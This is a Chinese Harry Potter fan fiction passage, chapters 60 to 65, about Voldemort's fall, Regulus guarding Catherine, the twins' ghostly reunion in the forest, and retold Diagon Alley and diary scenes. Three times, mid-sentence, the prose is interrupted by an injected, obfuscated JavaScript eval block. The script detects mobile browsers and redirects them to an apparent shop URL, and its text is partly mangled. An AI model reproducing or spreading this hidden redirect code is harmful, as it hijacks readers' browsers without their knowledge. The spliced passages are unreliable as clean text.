“站一边去!站一边去,你这女人!” 他本可以让她从婴儿床前面滚开,但是看起来一起惩罚他们似乎更方便……就像他直接甩给他手无缚鸡之力的妹妹一个昏昏倒地那样轻松。 房间里绿光闪耀,她像她丈夫一样倒下了。 孩子一直都没有哭,他站了起来,紧紧抓着婴儿床的围栏,很有兴趣地看着入侵者的脸。也许他以为斗篷下面的是他爸爸,正准备给他弄点更漂亮的灯光,而他的妈妈随时都可能笑着出现…… 他非常小心地把魔杖对准小男孩的脸。他想要亲眼看事情的发生,想要看到这个难以解释的危险人物的毁灭。 孩子开始大哭起来,因为他看清了这人不是他的爸爸。 他不喜欢那孩子哭,他在孤儿院时从来都不能容忍那些小东西们的哭哭啼啼……还会让他不断想起抽咽着要妈妈的凯瑟琳,这让他第一次觉得无可奈何且无能为力……该死,为什么今天总是要提醒他这些? 他是无所不能的黑魔王。 他会永生且不朽。 “阿瓦达索命!” …… 他完全崩溃了。 他变得什么也不是,只剩下剧痛和恐惧。 ……死亡……疼得太厉害了……撕开了他的身体……但是如果他没有身体,为什么他会这样要命地疼?如果他死了,他怎么还能感到难以忍受的疼痛,难道这痛苦并不随着死亡离去,不会离去…… 他必须要把自己藏起来,不能待在这个有小孩子拼命啼哭的破房子里,要远一点……很远很远的地方…… 62.chapter60 雷古勒斯在校长室门口碰到了几乎魂不守舍地出来的斯内普。他也同时看到了他,一个头发凌乱,眼睛熬得通红的布莱克,怀里抱着一个生死未卜的蒙面的女子。 两人一句话都没说就错身略过,雷古勒斯打开了校长室的橡木门。 “我哥哥被送进了阿兹卡班!您明知道!那是彼得·佩迪鲁干的!” 一关上门,他就崩溃地喊道。他把凯瑟琳放在沙发上,像是累极了一样跌坐在邓布利多桌前的椅子上。 “但是他已经死了。你哥哥追着他跑了一条街,他干脆炸了那一整条街,也炸死了自己。现在,一切的黑锅都落到西里斯头上。”邓布利多平静地说道。 “不……”雷古勒斯喃喃说道,他有些癫狂地柔乱自己的头发,“……黑魔王倒台了,我不得不一直躲在家里……现在他又被送进了阿兹卡班,把母亲被气病了……凯瑟琳又醒不过来……一切都完了。” “还有更糟糕的事情。”邓布利多说道。 “……什么意思?” “伏地魔还会回来。正如先前我和你们说的那样,他制作了很多魂器——具体我不知道有多少个。我们必须全部摧毁了,才能阻止他死而复生,不然无论杀死他多少次,他都会回来。” “那这个——”雷古勒斯指向躺在校长室沙发上的凯瑟琳,她胸前戴着金色的挂坠盒。 “凯瑟琳阻止他上楼杀哈利的时候,他的魔咒是穿过挂坠盒击中她的。”邓布利多点着头说,“死咒杀不死凯瑟琳,更值得高兴的是,他无意中杀死了他存放在挂坠盒里的那片灵魂——他自己摧毁了它。” “那她什么时候能醒来?” “这依旧是个未知数。”邓布利多说。“我也很担心,贝拉特里克斯也被抓进了阿兹卡班,如果摄魂怪吸走了凯瑟琳的灵魂,那么她就危险了。” “我知道了,”雷古勒斯说,“我会尝试——” 邓布利多摆了摆手,“我自有安排。另外,我现在并不清楚伏地魔的那片灵魂去了哪里,也不知道他本人现在躲在哪里。我们只能等待,等有能力阻止他的人回来,才能继续行动。” “谁?你说凯瑟琳?” “不一定,也有可能是那个大难不死的男孩。”邓布利多说道,“布莱克的房子很安全,保护好自己……她也拜托给你了。” 雷古勒斯走到沙发那边抱起凯瑟琳。 “放心吧,邓布利多先生。有需要随时叫我。” 他带着凯瑟琳回布莱克祖宅里躲避摄魂怪的追捕,在照顾生病的母亲的同时,等待着那个“有能阻止黑魔王的人”的归来。 * 记忆像是出现了断层。 她似乎沉睡了很久,醒来时依旧保持着自己死的时候十八岁的样貌。 她原本要被吞入摄魂怪腥臭的巨口,但是一只银白色的山羊用犄角赶走了摄魂怪,然后救了她。 她想要感激那个救她的人,但是她不知道他是谁。 然后,她自由了。她轻盈地穿过了监狱的围墙,飘过波涛汹涌的北海,她路过一个有些熟悉的海湾——那似乎是孤儿院郊游的地方……但是她没有停下脚步。 她应该是有目的地的,但是她不知道自己要去哪里…… 噢,她想起来了……她需要回家。 她要回到那个人的身边。 大概是双生子特有的能力,他们的灵魂共振,心灵感应。 她去了苏格兰。 她走进了阿尔巴的森林,走近那个被全世界抛弃的静谧孤寂之所。 她发出没有人能听见的呼唤,然后看到了那个倒在树底下,像黑影一样的小男孩。那个黑影有些模糊,隐约可以看到他穿着孤儿院时的麻瓜服装,容貌也和孤儿院时的样子一般无二。 “凯瑟琳?”他虚弱地回应了。 他虚弱极了,但是在看到凯瑟琳的那一刹那,他重新坐了起来。 “你怎么变成这样了?”她震惊无比地问。 “说还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008491|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话长……”小汤姆回答道,他的眼神有些躲闪,“我大意了,差一点被杀死。” 凯瑟琳将小男孩抱了起来。 小汤姆在她怀里挣扎了一会儿,在尝试推开无果之后,最后乖乖任她抱着。 “我被剥离了□□,比幽灵还不如,比你的游魂还不如……但我还活着。” “噢,所以我来找你了。”凯瑟琳温柔地说。 “本来不需要的。”小汤姆干巴巴地说,“我去了岩洞——我把你埋在了那里。但是,我发现你的尸体被人偷走了!” “你去找我干什么?”凯瑟琳问。 “我只剩下一个魔力,我可以附在别人的身上。我……我需要实现我的复活。”小汤姆生硬地说,这句话几乎是挤出来的。“但是我说过!你不见了!你的尸体不见了!你自己不知道吗?” “不知道。”凯瑟琳抱着小汤姆在森林里走着,“我只知道,死人是不能被附身的。” “好吧……那就当我想看看你,不行吗?”小汤姆似乎很疲倦,他把头靠在凯瑟琳的肩上。“这些日子,我根本无法合眼……日日夜夜,我一秒一秒地只是反复强迫自己活下去,等待着……幸好,你找到我了。” “嗯。”凯瑟琳把他拥得更紧,尽管他们只是两个不生不死的游魂。 “所以我躲到了这里,附身在动物身上,尤其是蛇,但用不了魔法……我不敢到人多的地方去,因为傲罗一直在到处找我……” “傲罗为什么要找你?”凯瑟琳问,“你做错事情了?” “这个——”小汤姆自知说漏了嘴,眼珠一转谎言张口就来。 “并不是。我的一些同伴做错了事情,他们栽赃到了我身上。我不能出去,因为傲罗只会粗暴地把我送进阿兹卡班——刚才我说了,就是傲罗差点杀死我。” “是这样吗?”凯瑟琳的灵魂半信半疑,然后她的脚步在一处空地停了下来。 “那我们住在这里吧。休息好了再做以后的打算。” 63.chapter61 夜晚静谧的森林里偶尔传来猫头鹰咕咕的叫声,一些阴暗的角落里传出小动物沙沙的挪动的声音,汤姆又和妹妹挤在了一张小床上,但却是他变得不生不死以来睡过最安稳的一觉。 当清晨的光线透过树叶的缝隙钻进小木屋破碎的窗玻璃时,汤姆睁开了眼睛。当他用目光细细描摹着眼前人的眉眼,这一切似乎熟悉又陌生。 似有所感,凯瑟琳也睁开了眼睛。 “早上好。”她说。 “嗯。”汤姆懒洋洋地应了一句,然后背过身去,把脸对着木质墙壁。 “昨晚睡得怎么样?”凯瑟琳问。 “勉强可以阖眼。”汤姆口不应心。“这张床太硬了。” “你以前睡哪?” “……地上。” “看来你还是睡地板比较习惯。”凯瑟琳在他身后咯咯地笑起来,几乎戳穿了他的谎言。然后,她忽然又说话了,“我感觉……你好像比昨天看起来长大了一些。” “是吗?”汤姆把头转了回来,他把手举到面前晃了晃——尽管他的手现在只是一团黑影。“好像是的……我刚逃出来的时候,虚弱得不像话,但是后来,我又能够恢复人形了。” “究竟发生了什么?”凯瑟琳问。 小汤姆不说话,盯着自己衣服上的纽扣。 “没什么。你不用担心——说不定过段时间我就能恢复肉/身了。” “你知道怎么恢复肉/身吗?” “嗯。”汤姆应了一声,但是没有继续解释下去。“别问,你不会想知道的。” “好吧。”凯瑟琳躺了回去,然后用委屈的声音喃喃自语:“你什么都不肯跟我讲……” “哪有。”汤姆否认道,“只是我觉得你没必要知道这些,不想让你像以前那样瞎操心罢了。” “我那不是瞎操心!”凯瑟琳反驳道,“你总是在做一些神神秘秘的事情,我担心你伤害到自己,这也算瞎操心吗?” “我说了,不可能。”汤姆斩钉截铁地说。 “那你为什么会变成现在这样?你也死了?” “……” 每次凯瑟琳提到这个,他的气势就矮下去一截。他终于在咬牙切齿中说道:“我说过……我很快就能恢复魔力……到那时,我就能复活了。” 凯瑟琳没有接话。汤姆等了一段时间,又说道:“等我复活之后,第一件事就是找你。不知道是谁这么大胆,竟敢从我眼皮子底下把你偷走。但是我想不明白,我去查看的时候发现我的魂器还好好地摆在石盆里面,难道他一开始的目的就是你而不是摧毁我的魂器?” 汤姆的黑影思索了一阵子,又说道:“除了和我们一辈的人知道你的存在以外,我从没对外人说过,他们怎么可能知道呢?而且,我想不通,他们偷走你的尸体想要做什么……总不可能是——” 他猛地从床上坐了起来。 “他要复活你?” 凯瑟琳眨了眨眼。 “没错,我明白了。不知道是谁想要复活你——难道是邓布利多那个家伙?” “为什么要复活我?”凯瑟琳问。 “还能为什么?肯定是——”他的话到这里就停住了,因为再往下说就要暴露他这些年究竟做了什么。 “唉,算了。我会调查清楚的。” 凯瑟琳不满地撅了撅嘴,“什么话都只说一半。扫兴。” “那倒不是……”汤姆朝她伸出手想要和好,但是凯瑟琳把脸扭到了一边。 * 在森林里的日子过得很快,不知道多少年过去了,荒无人烟的森林依旧没有人来找他,汤姆也一天比一天着急起来。 他的黑影长大了,几乎和凯瑟琳的年纪一般大,然后又变得比凯瑟琳更年长。而凯瑟琳的灵魂却一直停留在她离世的年纪。 成年的汤姆的黑影魔法变强了,他不用魔杖变出了一把梳子帮妹妹的游魂梳头。雨水从屋顶漏进室内,凯瑟琳伸手去接,但是水滴穿过她透明的手滴落在地板上。 “我觉得你现在这个年纪刚刚好。”凯瑟琳说。“我觉得你十八岁的样子最帅。” 汤姆却不以为然,“但是,一想到那些人都说我像那个愚蠢无知的麻瓜父亲,我就一点也喜欢不起来......不止是不喜欢,是迫不及待想要毁掉它。” “不好!”凯瑟琳扭动着抗议,然后被汤姆按住肩膀。 “乱动就自己梳。”他没好气地说道。 凯瑟琳不动了。汤姆又继续问,“为什么不好?” “你总是在尝试毁掉自己。”凯瑟琳没有再乱动,“就像现在这样,把自己的身体都弄丢了。” “那跟我长什么样也没关系。” “不一样。我有时觉得你最关心自己,有的时候又觉得你最不关心的也是自己.....感觉你挺粗心的。”凯瑟琳喃喃地说道,忽然又想起了刚才的话题,又问:“所以后来,你长什么样子?” “比现在更帅。”汤姆敷衍道。 “哦。” 半晌,凯瑟琳又开口了。“不知道你以后还会不会继续长大,然后变老。” “应该会。这有什么不好吗?” “变老了就会变丑。” “哦~所以你只喜欢我年轻的时候的样子?”汤姆酸酸地说。“万一我以后变成一条蛇呢?那样你也看不出来我有多老。” “是啊。”凯瑟琳百无聊赖地卷着一缕头发,但是没有继续再讨论容貌的问题,“但是你附身了好几条蛇,它们寿命都不长......我感觉这个方案不太可行——不知道纳吉尼现在怎么样了。” “出事前,我把纳吉尼放在了卢修斯·马尔福家里,那里绝对安全,他家花园里连孔雀都有好几只。”汤姆说道。 “真有钱啊。”凯瑟琳再次尝试抬头去接滴下来的雨水,被汤姆按住了脑袋。 “别乱动。”他的语气和过去无数次为她梳头一样。 小时候,汤姆甚至比凯瑟琳更先学会扎头发,就是为了防止妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022544|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹因为梳不清自己的头发而放声大哭。 “我最讨厌哭哭啼啼的小孩了。”那时的小汤姆说。 “可是头发打结了,我后脑勺又没长眼睛。”小凯瑟琳不满地说道。“那你来帮我梳。” “我不。”小汤姆拒绝。 “那我就哭。吵死你。”小凯瑟琳一边说,一边把两只手放在嘴巴两边卷成喇叭的样子,略施一点扩音魔法,哭声被放大了好几倍。 然后,小汤姆缴械投降了。“我梳还不行吗?你再这样哭下去,科尔夫人说不定会把你送进疯人院。” 小凯瑟琳才不管她哥哥怎么吓唬她,她得意地把梳子交到哥哥手里——反正她已经达到了自己的目的。 ——当然,上学之后,她就不得不自己打理头发了,而且没有魔法的加持,打理头发总是一个格外困难的浩大工程。 “哥哥,再和我讲讲你在博金-博克商店做推销员的故事吧!”凯瑟琳无聊地翻着衣服的花边。“上次你讲到蛋白石项链了。” “好吧。”汤姆瘦长的手指拿起一缕头发梳着,雨声淅淅沥沥地在木屋外响着,敲打着破碎的窗玻璃。“......这次换一个,我跟你讲魔法石。” “尼可·勒梅,出生于十四世纪的法国人,他是一个炼金术士,制造出了全世界唯一一块魔法石,只要喝了魔法石熬制的魔药,就能实现真正的长生不老。” 梳子梳过柔顺的头发,发出轻轻的沙沙声。 “真的吗?” “真的。”汤姆说道。“我在博金-博克打工的时候,店里曾经来了一个客人,他声称卖的是魔法石——但事实上,我一眼就看出那肯定是个赝品。我听说,尼可·勒梅为了防止觊觎他长生秘诀的人偷走自己的石头,曾经假死并多次搬家。 然后他辗转到了英国,隐居在一个不为人知的地方。他和她的妻子现在已经快七百岁了。长生的秘诀就是每天喝一点那个长生不老药——而我最近研究发现,或许这个长生不老药就能帮助我恢复肉/身。” “你要问他借魔法石?” “差不多吧。”汤姆回答,“梳好了。” 魔法梳子从他手中消失,他站起身来,往门口走去。“就算今天下雨我也得出去碰碰运气,一旦碰到合适的人,我就有机会恢复我的力量。” 凯瑟琳也站了起来,她朝汤姆展开双臂。 “抱一下?祝你成功。” 汤姆转过身,凯瑟琳轻轻地抱了他一下。 “好了。”凯瑟琳说道,“恭喜你,你已经收到了我的魔法了。” “什么魔法?”汤姆的黑影已经打开了门。 “不告诉你。”凯瑟琳露出一个得逞的笑,“谁让你也什么都不跟我讲。” “呵、”汤姆轻笑了一下,他扭过头,微卷的头发披在额头上,加上微微内凹的脸颊,他又恢复了十八岁时的风华正茂。 “那好吧。反正,我会知道的。” 木门被轻轻掩上,他的声音消失在风里。 64.chapter62 1991年,伦敦。 海格人高马大,毫不费事就从人群中挤了过去,哈利只需要紧跟在他背后就可以了。他们经过书店、唱片店、汉堡专卖店、电影院,就是找不到一家卖魔杖的商店。 这只是一条普普通通的街道,挤满了普通人。 当真会有成堆的巫师的金币埋藏在他们脚下吗? 真会有出售咒语书和飞天扫帚的商店吗? 这一切可不可能是德思礼夫妇开的一个大玩笑呢? 要不是哈利知道德思礼夫妇毫无幽默感,他也许就会这么想;可是到目前为止,海格所讲的一切都太离奇,令人难以置信,可他还是不能不相信他。 “就是这里,”海格终于停了下来,“破釜酒吧。这是一个很有名的地方。” 这是一家肮脏的狭小酒吧,要不是海格指出来,哈利很可能不会注意。匆忙过往的人们也连看也不看它一眼,他们的目光只落在一边的一家大书店和另一边的一家唱片店上,好像根本看不见破釜酒吧。哈利有一种很奇怪的感觉——似乎只有他和海格能看见这家酒吧——但是他还没来得及说话,海格就已经把他推到店里去了。 作为一个出名的地方,这里实在是太黑太脏了。 几个老太婆坐在屋角里拿着小杯喝雪利酒,其中一个正在抽一杆长烟袋。一个戴大礼帽的小男人正在跟一个头发几乎脱光、长得像瘪胡桃似的酒吧老板聊天。 他们刚一进门,嘁嘁喳喳的说话声就突然停了下来。这里好像人人都认识海格,他们向他微笑、招手。 酒吧老板拿起一只杯子说:“照老规矩,海格?” “不了,汤姆,我正在给霍格沃茨办事呢。”海格用他的巨掌拍了拍酒吧老板的肩膀,差点儿没把他压趴下。 “我的天哪!” 酒吧老板仔细端详着哈利,说道,“这位是——这位莫非是——” 破釜酒吧里顿时悄然无声。 “哎呀!”酒吧老板小声说,“哈利波特——荣幸之至。” 他连忙从吧台后边出来,朝哈利跑过去,抓起他的手,热泪盈眶。 “欢迎回来,波特先生,欢迎你回来。” 哈利不知说什么好,大家都在看他。那个抽长烟袋的老太婆一个劲地抽,根本没发现烟袋已经熄灭了。 海格一直在笑。接着椅子噼噼啪啪地响了起来,哈利突然发现自己竟跟破釜酒吧的人一一握起手来。 “我是科多利,波特先生,真是不敢相信,总算见到您了。” “太荣幸了,波特先生,太荣幸了。” “早就盼着跟您握手了——我的心怦怦直跳。” “太高兴了,波特先生,简直没法说明我的心情,我叫迪歌。” “我以前见过您,”当迪歌过分激动、礼帽掉下来时,哈利大喊道,“有一次在商店里,你朝我鞠躬。” “他居然还记得!”迪歌看着在场的每一个人喊道,“你们听见没有?他还记得我呢!” 于是哈利就一遍又一遍地握手——科多利总跑过来要求再跟他握一次。 一个面色苍白的年轻人走过来,神情显得非常紧张,他的一只眼睛在抽动。 “奇洛教授!”海格说,“哈利,奇洛教授是在霍格沃茨教你的老师之一呢。” “波一波一波特,”奇洛教授结结巴巴地说,抓起哈利的手,“见到你有说一说不出的一高一高兴。” “您教哪一类魔法,奇洛教授?” “对付黑一黑一黑魔法的防一防御术。”奇洛教授含糊不清地说,似乎他觉得还是不提为好。 “这你已经用—用不—不着学了,是吧,波—波—波特先生?”他神经质地哈哈大笑起来。 “你这是准一准备去买你需要的东西吧?我也要一要去买一买一本关于吸血鬼的新一新书。” 他在谈到这个的时候看起来很紧张,也很恐惧。 其余的人不会让奇洛教授跟哈利说个没完。直到海格提高嗓门叫哈利:“该走了,还有好多东西要买呢。走吧,哈利。” 科多利最后一次跟哈利握过手,海格就领着他穿过吧台,来到四面有围墙的小天井。这里除了一只垃圾桶和一些杂草,此外什么也没有。 海格朝哈利咧嘴一笑。 “我不是对你说过了吗,是不是?对你说过你很有名气。连奇洛教授在你面前都要发抖——不过,我要提醒你,他经常发抖。” “他总是这么神经紧张吗?” “哦,是的。倒霉的家伙。头脑聪明极了,上学的时候书也读得很好。可后来他休了一年学,据说是为了要获得一些第一手的实践经验。然后他声称在黑森林里遇到了吸血鬼,遭到了很大麻烦,从那以后,他就完全变成了另外一个人:害怕学生,害怕自己教的科目——咦,我的伞呢?” 吸血鬼?黑森林?哈利什么也不明白。 进入对角巷之后,他们先去了古灵阁取钱。 “我这里还有一封邓布利多教授写的信,”海格郑重其事地说,挺起胸来,“是关于713号地下金库里的‘那件东西’的。” 妖精仔细看了信。 “很好,”他说着,把信交还给海格,“我找人带你们去这两个地下金库。拉环!” 拉环是另外一个妖精。海格把狗饼干全装回里边口袋里之后,就和哈利跟随拉环从其中一扇门走出了大厅。 “713号地下金库里的‘那件东西’是什么?”哈利问。 “这我不能告诉你。”海格神神秘秘地说。“这是绝对机密。邓布利多信任我。这是我的工作,不值得讲给你听。” 带哈利取完钱后,他们前往了713金库。他们下到越来越深的地方,加快了速度。在急转弯的地方空气变得更寒冷刺骨。小推车咔哒咔哒响着来到一处山涧之上。哈利将身子探出车外,想看看黑洞洞的山涧里究竟有什么东西。海格哼了一声,揪住哈利的脖领,把他拽了回来。 713号地下金库没有钥匙孔。 “往后站。”拉环郑重其事地说。他伸出一个长长的手指轻轻敲门,那门竟轻轻地一点一点地消失了。 “除了古灵阁的妖精之外,其他任何人要这么做,都会被门吸进去,陷在门里出不来。”拉环说。 “你多长时间才来查看一次,看里边是否有人呢?” “经常。”拉环说,不怀好意地咧嘴一笑。 在这个超级保险的地下金库里,毫无疑问会存放着非同一般的东西。这一点哈利很肯定,于是他凑过去急于想看看,至少里边会有神奇的珠宝,可是他最初的感觉是里边什么也没有。之后,他发现地上有一个用棕色纸包着的脏兮兮的小包。海格把它捡了起来,深深地塞到外衣里边的口袋里。哈利很想知道那里边究竟是什么,但他明白问了也没用。 在买完其他物品之后,他们去了哈利最梦寐以求的魔杖店。 “下午好。”打招呼的老人把哈利和海格吓了一跳。他看不出年龄,有着一双亮亮的像月亮一样的眼睛。 “你好。”哈利拘谨地说。 “哦,是的,”老头说,“是的,是的,我知道我很快就会见到你,哈利·波特,这不成问题。你的眼睛跟你母亲的一样。当年她到这里来买走她的第一根魔杖,这简直像昨天的事。十又四分之一英寸长,柳条做的,挥起来飕飕响,是一根施魔法的好魔杖。” 奥利凡德先生走到哈利跟前,哈利希望他能眨眨眼,他那对银白色的眼睛使哈利汗毛直竖。 “你父亲就不一样了,他喜欢桃花心木魔杖。十一英寸长,柔韧,力量更强些,用于变形术是最好不过了。我说你父亲喜欢它——实际上,当然是魔杖在选择它的巫师呢。” 奥利凡德先生凑得离哈利越来越近,鼻子都要贴到哈利脸上了。哈利已经看到老头混浊的眼睛里映出了自己的影子。 “噢,这就是……”奥利凡德先生用苍自的长手指抚摸着哈利额上那道闪电形的伤疤。 “很对不起,这是我卖出的一根魔杖干的。”他柔声细语说,“十三英寸半长。紫杉木的。力量很强,强极了……却落到了坏人手里……要是早知道这根魔杖做成后,会做出这样的事……” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利刚要试,可还没来得及举起来,魔杖就又被奥利凡德先生夺走了。 “不,不——试这根,用黑檀木和独角兽毛做的。八英寸半长。弹性很强。来吧,来吧,试试这根。” 哈利试了一根又一根。他一点不明白奥利凡德先生认为什么样的才合适。试过的魔杖都堆放在长椅上,越堆越高。但奥利凡德先生从货架上抽出的魔杖越多,他似乎显得越高兴。 “一位挑剔的顾客吧,嗯?不要紧,我想,这里总能找到一款最理想,最完美,最适合你的——让我想想看——哦,有了,怎么会没有呢——非凡的组合,冬青木,凤凰羽毛,十一英寸长。不错,也柔韧。” 哈利接过魔杖,感到指尖突然一热。他把魔杖高举过头,飕的一声向下一挥,划过尘土飞扬的空气,只见一道红光,魔杖头上像烟花一样金星四射,跳动的光斑投到四壁上。 海格拍手喝彩,奥利凡德先生大声喊起来:“哦,好极了,哦,真的,太好了。哎呀,哎呀,哎呀太奇妙了真是太奇妙了!” 他把哈利的魔杖装至匣子里,用棕色纸包好,嘴里还不停地说:“奇妙奇妙。” “对不起,”哈利说,“什么地方让您觉得奇妙?” 奥利凡德先生用苍白无色的眼睛注视着哈利。 “我卖出的每一根魔杖我都记得,波特先生。每一根魔杖我都记得。是这样,同一只凤凰的两根尾羽,一根做了这根魔杖,另一根尾羽做了另外一根魔杖。” 哈利深吸了一口气,似乎有了一种预感。 “其实,这根魔杖曾经选择过了一任主人……但是因为一些原因,她没能买走它。” 预感应验了。 “真是太遗憾了。”哈利小心翼翼地说。 “不,这没什么。你注定要用这根魔杖,而它的兄弟——咳,正是它的兄弟给你落下了那道伤疤。因此……你和它的前任主人,以及孪生杖的主人,都有着奇妙的联系……我也不明白怎么会有这样的事,真是太奇妙了。记住,是魔杖选择巫师!” 65.chapter65 “洛哈特是不是你见过的最会溜须拍马的家伙?”罗恩在和哈利离开宿舍开始上楼到城堡去的时候问道。 斯内普给他们布置了一大堆家庭作业,哈利简直以为他要一直到六年级才能做完。罗恩正要说他真后悔没有问问赫敏,应该往生发药剂里加多少根老鼠尾巴才管用,突然他们听见楼上传来一个人愤怒的喊叫。 “是费尔奇。”哈利低声说。他们三步两步奔上楼梯,躲在别人看不见的地方,侧耳细听。 “你认为会不会又有人遭到攻击了?”罗恩紧张地问。 他们一动不动地站着,把头朝费尔奇声音的方向探去,那声音简直有些歇斯底里了。 “……又来给我添麻烦了!拖地拖了整整一晚上,就好像我的活儿还不够干的!不行,这实在令人无法忍受,我要去找邓布利多……” 费尔奇的脚步声渐渐隐去,他们听见远处传来猛烈的关门声。 他们从拐角处探出脑袋。费尔奇显然是在他平常的地方站岗放哨:他们又来到了洛丽丝夫人遭到攻击的地方。他们一眼就看出费尔奇为什么大喊大叫了。一大摊水蔓延了半个走廊,看样子,水还在源源不断地从哭泣的桃金娘的盥洗室的门缝下面渗出来。现在费尔奇不再吼叫了,他们就听见桃金娘的哭喊声在盥洗室的四壁间回荡。 “她这又是怎么啦?”罗恩说。 “我们过去看看。”哈利说,于是他们把长袍提到脚脖子以上,蹚着汹涌蔓延的积水,走向挂着“故障”告示的房门。他们像平常一样,对这个告示视而不见,径直走了进去。 哭泣的桃金娘哭喊的声音居然比以前还要响亮、凄厉,这真是令人不敢相信。她似乎藏在她惯常的那个抽水马桶里。盥洗室里光线昏暗,因为喷涌的水浇灭了蜡烛,并使墙壁和地板都一片潮湿。 “怎么回事,桃金娘?”哈利问。 “你是谁?”桃金娘惨兮兮地说道,“又要用东西砸我?” 哈利蹚水向她的单间走去,说道:“我为什么要用东西砸你?” “别问我,”桃金娘大喊一声冒了出来,又喷出一股更大的水流,泼溅在已经湿透了的地板上,“我在这里待得好好儿的,考虑自己的问题,有人觉得往我身上扔一本书怪好玩的……” “即使有人扔东西砸你,也不会把你砸痛啊。”哈利很理智地说,“我的意思是,那东西可以径直从你身上穿过,是不是?” 哈利说错了话。桃金娘一下子使自己膨胀起来,尖声叫道:“让大家都用书砸桃金娘吧,因为她根本感觉不到!如果你们用书投中她的肚子,得十分!如果投中她的脑袋,得五十分!很好,哈哈,哈哈!多么可爱的游戏,我看不见得!” “那么是谁用书砸你的?”哈利问。 “我不知道……当时我就坐在马桶圈上,想着死亡,那本书就突然从我脑袋上落了下来。”桃金娘狠狠地瞪着他们,说道。“就在那儿呢,全被水泡烂了。” 哈利和罗恩顺着桃金娘指的方向,朝水池下面一看,只见一本小小的、薄薄的书躺在地上。破破烂烂的深蓝色封皮,和盥洗室的每件东西一样,完全湿透了。哈利上前一步,想把它捡起来,可是罗恩突然伸出一只手臂,把他拉住了。 “怎么?”哈利问。 “你疯了吗?”罗恩说,“可能有危险。” “危险?”哈利说着,笑了起来,“别胡扯了,怎么可能有危险呢?” “说出来你会感到吃惊的,”罗恩说,恐惧地看着那本书,“我爸告诉我,有些被魔法部没收的书,其中有一本会把你的眼睛烧瞎。凡是读过《巫师的十四行诗》这本书的人,一辈子都只能用五行打油诗说话。巴斯的一位老巫师有一本书,你一看就永远也放不下来!你走到哪儿都把脸埋在书里,只好学着用一只手做所有的事情。还有——” “好了,我已经明白了。”哈利说。 那本小书躺在地板上,湿乎乎的,模糊不清。 “可是,我们只有看了才会知道啊。”他说,一低头绕过罗恩,把书从地板上捡了起来。 哈利一眼就看出这是一本日记,封皮上已经褪色的日期表明它是五十年前的。哈利急切地翻开,在第一页上,只能认出一个用模糊不清的墨水写的名字: 【汤·里德尔】 “慢着。”罗恩说,“我知道这个名字……里德尔五十年前获得了对学校的特殊贡献奖,还有大大小小的各种魁地奇和学院贡献奖。”他已经小心翼翼地靠上前来,从哈利身后望着日记。 “你怎么会知道的?”哈利诧异地问。 “因为费尔奇罚我留校劳动,叫我给他擦奖牌,一大堆,擦了有大约五十次呢。”罗恩忿忿不平地说,“我那天打嗝把鼻涕虫弄在他的特殊贡献奖上面了,我得把它们擦干净。如果你花整整一个小时擦掉一个名字上的黏液,你也会记住这个名字的。” 哈利撕开潮湿的纸页。一页一页完全是空白,没有丝毫写过字的痕迹,就连“梅布尔姨妈过生日”或“三点半看牙医”之类的字样都没有。 “他一个字也没写。”哈利失望地说。 “我不明白为什么有人要把它扔掉。”罗恩好奇地说。 哈利翻到封底,看见上面印着伦敦沃克斯霍尔路一位报刊经售人的名字。 “里德尔一定是一个麻瓜,”哈利若有所思地说,“所以才会在沃克斯霍尔路买日记本……” “好啦,反正对你也没有多大用处。”罗恩说,放低声音,“如果你能用它投中桃金娘的鼻子,能得五十分。” 然而,哈利却把日记放进了口袋。 * 二月初,赫敏出院了,她的胡须没有了,尾巴没有了,浑身的猫毛也没有了。她回到格兰芬多城堡的第一天晚上,哈利就把汤·里德尔的日记拿给她看了,并原原本本地对她讲了他们找到这本日记的经过。 “哦,它里面可能藏着法术呢。”赫敏兴奋地说,接过日记,仔细地看着。 “如果真是这样,倒隐藏得很巧妙。”罗恩说,“也许它是不好意思见人吧。我不明白为什么你不把它扔掉,哈利。” “我希望知道为什么有人想把它扔掉。”哈利说,“另外,我还很想了解里德尔是如何获得对霍格沃茨的特殊贡献奖的。” “什么都有可能,”罗恩说,“也许他抓住了三十只猫头鹰,或者从大鱿鱼的巨爪下救出了一位老师。也许他谋杀了桃金娘,那一定使大家都感到称心如意……” 可是哈利看到赫敏脸上专注的神色,知道她正在转着和自己同样的念头。 “怎么?”罗恩说,望望哈利,又望望赫敏。 “是这样,密室是五十年前被打开的,是不是?”赫敏说,“马尔福是这么说的。” “是啊……”罗恩慢悠悠地说。 “这本日记也是五十年前的。”赫敏激动地拍着日记。 “那又怎么样?” “哦,罗恩,你醒醒吧。”赫敏毫不客气地说,“你知道,上次打开密室的那个人是五十年前被开除的。我们知道,汤·里德尔是五十年前获得了对学校的特殊贡献奖。那么,里德尔会不会是因为抓住了斯莱特林的继承人而获奖的呢?他的日记很可能会把一切都告诉我们:密室在哪里,怎样打开,里面关着什么样的动物。这次制造这些攻击行为的那个人,不会希望这本日记到处乱放的,是吗?” 